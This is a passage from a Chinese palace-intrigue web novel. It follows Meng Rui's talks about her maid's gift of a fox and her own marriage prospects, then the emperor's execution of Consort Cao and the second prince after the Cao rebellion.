纪华筠全当没看到,扭头对孟瑜说:
“阿瑜,我爹他怕被牵连进曹氏乱党的案子,每天坐立不安,烦人得很。
你给他出出主意,是按兵不动等结果?还是主动为议亲之事向陛下认错?哪种比较好?”
永宁侯双眼一亮,这时觉得女儿直来直去的性子,也挺可爱。
孟瑜对上永宁侯期待的眼睛,平静道:
“这些天,陛下忙于肃清曹氏乱党,大概没有空闲去了解议亲这种小事,纪伯伯不要去打扰陛下比较好。”
听到孟瑜这样说,永宁侯终于放下心来,“好,那便听你的。”
孟瑜得陛下看重,又与太子殿下有兄弟之情,他说的话,一定没错。
想到如今的太子殿下,永宁侯内心隐隐激动起来。
就在昨日,庆明帝正式定下了孟瑾的身份,改皇姓萧,名瑾宸,以太子之位尊之。
孟瑾,成了萧瑾宸,做了太子殿下,忙于肃清曹氏乱党,还不忘常来看望孟瑜、孟蕊,和他们一起用膳,可见太子殿下与孟家兄妹的感情好。
谢清源还是太子殿下的养父,又是庆明帝的心腹,这以后谢家,还会更上一层楼。
而他们永宁侯府,结下了谢家这门亲,以后也能沾上光,说不定也能更进一步。
永宁侯又与孟瑜聊了几句,便起身告辞,心情颇好地带着永宁侯夫人和纪华筠回去,将一起过来的翠柳,留了下来。
孟蕊送走永宁侯一家,回头便看到翠柳蹲在廊下,嘀嘀咕咕地听不清在说些什么,吟夏站在她身边,津津有味地看着。
走近一瞧,孟蕊发现,翠柳竟是在喂食一只通体雪白的小狐狸。
“这是哪里来的?”孟蕊好奇地问。
自春猎第一天,庆明帝遇到猛虎袭击之后,便暂停了狩猎,只有少数不知情的贵族子弟,在围场中捕获了一些猎物,第二日曹氏叛乱后,就在没有人去围场狩猎了。
“是……”翠柳扬起笑脸,看向孟蕊,犹豫了,“我说出来,姑娘你不能说我。”
看到她这副表情,孟蕊还有什么不明白的。
“是秦世子送给你的?”
翠柳点了点头,小心翼翼地瞅着孟蕊,“姑娘,你不会怪我吧?主要是小狐狸太可爱了,我没忍住,就收下了。”
第355章 往来密切
“我怪你作甚?”
孟蕊笑着摸了摸翠柳的脑袋。
“一只狐狸而已,收了就收了,你开心就好。”
秦仲棋在外的名声虽差,但孟瑾和孟瑜都对他的评价不错。
且经过几次相处,孟蕊觉得此人彬彬有礼,行事稳妥,不像外头传言的那般不堪。
孟蕊自己也深受流言蜚语的影响,更愿意相信自己的感受。
看着翠柳抱着狐狸,笑靥如花的样子,孟蕊觉得秦仲棋这个人,愿意为翠柳花心思,看起来是有几分真心在。
“翠柳,秦世子送你礼物,你是怎么回应他的?”孟蕊问。
前世,翠柳一辈子围着孟蕊转,未尝情爱滋味,就被厉青鸿命人杀死。
这一世,孟蕊希望翠柳自在而活,为自己而活。
如果翠柳也对秦仲棋有意,孟蕊之后不会太过阻挠,让他们顺其自然发展。
毕竟,以后的路,要翠柳自己去走。
当然,孟蕊会是她的坚实后盾,为她的选择托底。
翠柳摸着狐狸的雪白的毛发,天真地抬起头,“回应他什么?”
孟蕊指了指翠柳怀里的小狐狸,“秦世子把小狐狸送给你的时候,他说了什么?你又是如何回答他的?”
翠柳眼神懵懂,微微蹙眉道:
“那天,就是我去纪小姐身边的第二天,纪小姐听说了二少爷坠崖,非常担心,想要去找他,但纪侯爷不让。
下午的时候,纪侯爷被人叫去正殿议事,纪小姐带着我偷偷出门,刚到围场边,就遇上了往回走的秦世子。
秦世子说二少爷没事,让我们不要担心,也不要去围场。
他让随从将拿着的两个麻袋给我们看,一个里面装的这只小狐狸,另一个里面装的两只肥肥的兔子。
他问我想不想要小狐狸,我觉得小狐狸太可爱了,就说了想,然后,他就把装小狐狸的麻袋给我了。”
“就这样?”孟蕊略感诧异,“他没再说些什么?”
“嗯……秦世子还教我如何养好小狐狸,告诉我要拿什么喂养,开始与它亲近时要戴手套,防止被抓伤手。”
翠柳认真回忆着,原原本本的都告诉孟蕊。
“他送我们回到住处,纪小姐把另一袋兔子也要了过来,晚上纪小姐带着我,偷偷把那两只兔子烤了吃,可香啦!”
看着翠柳一脸回味兔肉美味的样子,孟蕊微微叹了口气,“你们慢慢喂狐狸,我去找哥哥说话。”
孟蕊又拍了拍翠柳的脑袋,转身离开。
看来,她的担心是多余了,翠柳心思单纯,在男女之事上还没开窍,慢慢再看吧。
来到孟瑜的房间门口,孟蕊敲了敲门,得到孟瑜的允许后,推门走了进去。
孟瑜还坐在床上,正拿着一本兵书在看。
听到孟蕊进来,孟瑜抬眼看过去,“送走了?”
“嗯,他们已经离开了。”
孟蕊应道,走近孟瑜,在床边的圆凳上坐下。
“哥哥,你落崖的事,秦世子一开始也知道真相?”
秦仲棋能在孟瑜出现之前,就告诉纪华筠孟瑜没事,指定知道些什么。
孟瑜“嗯”了一声,“我需要方便行事的可信之人,为我准备马匹和必需品,仲棋是最合适的人选。”
孟蕊微感惊讶,孟瑜居然如此信任秦仲棋,就听到孟瑜接着说。
“这次扳倒曹家,仲棋也出了力,他在京中经营的产业众多,为陛下提供了不少曹氏亲信的情报,他名声不好,但人品不差。”
“我明白,外头那些名声都不可全信。”孟蕊赞同道。
“蕊儿,你不必太担心仲棋和翠柳,他心中有数,不会逾矩的。”
孟瑜放下兵书,眸光沉沉,注视着孟蕊。
“你要开始考虑自己的事了,现在咱们是清静,但回京之后,有的是人想打你的主意。”
“什么?”
孟蕊愣了一下,才反应过来。
“哥哥你是说我的婚事?”
见孟瑜点头,孟蕊轻松地说:
“我不想这么早成亲,娘亲也说要多留我几年,要是有人来找事,就拿娘亲说的招赘搪塞过去。”
“要是真有人愿意入赘呢?”孟瑜反问。
孟蕊犹豫一瞬后,坚决道:“那就找个其他的理由拒绝他!”
孟瑜又问:“如果这个人,你拒绝不了,怎么办?”
孟蕊首先想到的,是曾经说要用军功,请求陛下赐婚娶她的厉青鸿,立刻沉了脸。
“我不喜欢,就不会接受!”
孟蕊斩钉截铁地说,她绝不要和厉青鸿再扯上关系。
“哥哥你之前不是说过,要是厉青鸿再来招惹我,就想法子了结他,我觉得可行,到时候,算我一个,咱们一起把他干掉!”
孟瑜闭了闭眼,语气带着几分无奈道:“我是说过,但我现在说的不是他。”
“不是他?”孟蕊愣住,“那哥哥你说的是谁?”
除了厉青鸿,孟蕊想不出,以他们家现在的地位,还有谁来求娶,而她拒绝不了。
“是……罢了……”
孟瑜没有继续说下去,看着孟蕊叹了口气。
“也许是我想多了,你自己平日注意些,与身边往来密切的男子保持距离。”
孟蕊眨了眨眼,觉得哥哥这话,说得奇怪。
她身边往来密切的男子,好像也没谁啊?
总不会是在说秦仲棋吧?她和秦仲棋都好久没见过面了。
孟瑜看着妹妹呆呆的样子,没有把话说破,而是转移了话题。
“父亲传了信来,阿娘下个月回京,到时候,咱们一家,又能团聚了。”
“真的?”孟蕊高兴道,“那太好了,到时哥哥你也该去永宁侯府下聘,聘礼单子也不知道爹爹拟好了没有,我回京后要记得提醒他。”
想到与纪华筠的婚事,孟瑜嘴角漾起甜蜜的笑意。
“父亲说了不算,阿娘回来还要过目,他们会定好的,妹妹不用担心。”
孟瑜想了想,又道。
“行宫这边的事,估计还要持续一段时间,咱们没那么快回京。
行宫周围有兵士把守,切断了大臣们与京城的联系,是绝好的审问时机。
那些与曹家沆瀣一气、做尽坏事的狗官们,会在绝望中,把自己的罪行全部招供。”
第356章 太子萧瑾宸
孟瑜说得没错,他们一直在行宫待了快一个月,才跟随庆明帝起驾回京。
在行宫的这一个月,朝中局势大变。
曹修易死后第五天,曹太后自绝于她在行宫中的住处。
一国太后崩逝,与她有母子之名的庆明帝,没有停灵发丧,没有举办葬礼,直接吩咐人,将曹太后的棺椁送去皇陵,安葬在先帝的后妃陵寝中。
这着实不符合规矩,但在肃清曹氏乱党的紧张氛围中,无人敢提出异议。
在庆明帝的雷霆手段下,与曹家勾结的大臣们,都被抓了起来。
孟瑾,不,现在他已改回了原本的名字萧瑾宸,是大齐的太子殿下。
他带领刑部的官员们,对抓起来的大臣们进行审讯,以确凿的证据,拿到了大臣们的口供和认罪画押。
曹家几代经营起来的势力,一夕之间,如树倒猢狲散,化作了一盘散沙。
庆明帝专程带人,去看了二皇子和曹嫔。
二皇子哭着跪求庆明帝,留他一条性命。
他的母妃曹嫔,也向着庆明帝下跪,哭得凄惨,求庆明帝看在往日情分,给他们母子俩一条活路。
庆明帝只是招了下手,让宫人端来鸩酒和白绫,让曹嫔和二皇子自行选择。
“父皇!虎毒尚不食子,儿臣也是您的亲儿子啊!您怎能如此狠心?”
二皇子根本不敢看宫人端来的要命玩意,他膝行向前,想要去抱庆明帝的大腿。
但庆明帝左右的侍卫,根本不给他接近庆明帝的机会,直接拦住二皇子,将他押在地上。
曹嫔见状,扑过去,去拉侍卫钳制二皇子的手。
“你们放开我儿子!他可是皇子!”
可是,以曹嫔一介女流的微弱力气,根本扯不动孔武有力的皇家侍卫。
曹嫔放弃了,又乞求地望向庆明帝。
“陛下,太后和曹大人谋反之事,臣妾和皇儿事前,真的一无所知啊!我们是无辜的!”
曹嫔声泪俱下,一边磕头一边赌咒发誓,好不可怜。
“臣妾和皇儿,对陛下您一片赤诚忠心,我们绝没有谋逆之心,苍天可鉴啊!”
被押在地上的二皇子,艰难地抬起头,“是啊,父皇,儿臣真的什么都不知道,我要是知道他们要谋反,一定会拼命阻止他们的!”
可惜,饶是这对母子再如何求饶,庆明帝只是冰冷地看着他们,威严的面容上,是不可撼动的杀意。
“朕相信,曹修易和太后谋反,是没有告诉你们。”
曹嫔和二皇子眼中燃起希望,而庆明帝的后一句话,又将他们的希望之火浇灭。
“但他们谋反,难道不是为了将你这个没用的东西推上皇位?”
二皇子是因,也是死罪!
庆明帝给了身侧的高公公一个眼神,高公公立刻让殿内大部分宫人侍卫离开,只留下几个庆明帝的心腹,控制住曹嫔和二皇子。
等到殿门关闭,庆明帝微微仰头,呼出一口气,仿佛卸掉了一个沉重的包袱。
“曹柔,你不会真的以为,你将曹洵的孽种生下,充作朕的儿子,可以瞒天过海?”
曹洵是曹修易的二儿子,在十六年前的京城大乱中,死于乱军刀下。
“什么?!”二皇子惊呼,不可置信地扭头看向曹嫔,“母妃你……”
曹嫔也是一脸震惊,呆若木鸡地望着庆明帝,片刻之后,才回过神来,忙不迭道:
“不、不是的!陛下,臣妾没有!皇儿是您的亲生儿子啊!”
曹嫔努力回想往昔,试图说服庆明帝。
“您忘了?那夜您醉酒,我们……”
“那一夜,朕没有醉!朕根本没碰过你!”
庆明帝带着浓烈恨意的话语,掷地有声地打碎了曹嫔的谎言。
“馨儿被你们害死了,你们居然说,不过是一个女人,你们赔朕一个便了,然后曹家,就送来了你。”
庆明帝不屑的眼神,上下扫视曹嫔。
“一个曹氏旁支的庶女,一个潜伏在朕身边做奸细的女子,朕怎么可能会碰你?更不会容许你生下朕的孩子!”
想到被曹家打压欺辱的过去,庆明帝即使杀光曹家的人,也无法释怀。
“曹柔,曹家把你送到朕身边后,你每月底,都会到皇陵外的树林中,与曹洵见面,给他交代我的消息。
此外,你们俩还幕天席地,行苟且之事,你这好儿子,就是那时候怀上的吧?”
曹嫔惊讶得快要说不出话来,她守了半辈子的秘密,庆明帝竟然早就知道了。
“那你为什么……”
为什么没有揭穿她?为什么把二皇子当做亲子养大?
曹嫔的话再也问不出口了,因为庆明帝已经对她失去了耐心。
庆明帝一挥手,两名拿着白绫的宫人,走近曹嫔,将白绫绕在曹嫔的脖子上,勒紧!
白绫再松开时,曹嫔单薄的身体,如枯叶飘零般,跌落在地,再没有声息。
“曹嫔追随太后而去,厚葬了吧。”
庆明帝平静无波的声音响起,令看着母妃尸身呆滞的二皇子突然一抖,开始挣扎起来。
两名压制他的侍卫稍稍用力,二皇子就不得动弹。
庆明帝漠然的目光移到二皇子身上,“你也该去和你爹娘团聚了,赐酒!”
“不要!父皇,我是您的儿子啊!肯定有哪里错了!”
二皇子还在做最后的挣扎。
庆明帝无言,只漠然伫立,看着宫人端着酒杯,掰开二皇子的嘴,将鸩酒灌了进去。
“二皇子畏罪自杀,让他在认罪书上画押。”庆明帝冷声道。
高公公应是,从袖中拿出认罪书,走到二皇子面前,在二皇子绝望而痛苦的眼神中,划破二皇子的手指,按在了认罪书上……
至此,除了曹修易幼子曹湛,二皇子和曹家一派的核心人物,均已毙命。
四月中,在行宫待了近一个月的孟瑜和孟蕊,终于能踏上回京的路。
行宫门前,孟蕊明显感觉到,周围人看她的眼神,和之前有所不同。
少了鄙夷和讥讽,多了探究与讨好。
孟蕊曾经的大哥,现在成了太子殿下,她也成了众多夫人小姐的恭维对象。
经历过那么多,她早就不在乎这些无关紧要的人的态度了,她只做自己想做的事。
孟蕊让吟夏帮她挡住过来找她攀交情的某家夫人,转身坐上马车,放下车帘,隔绝外面的喧闹,等待着启程。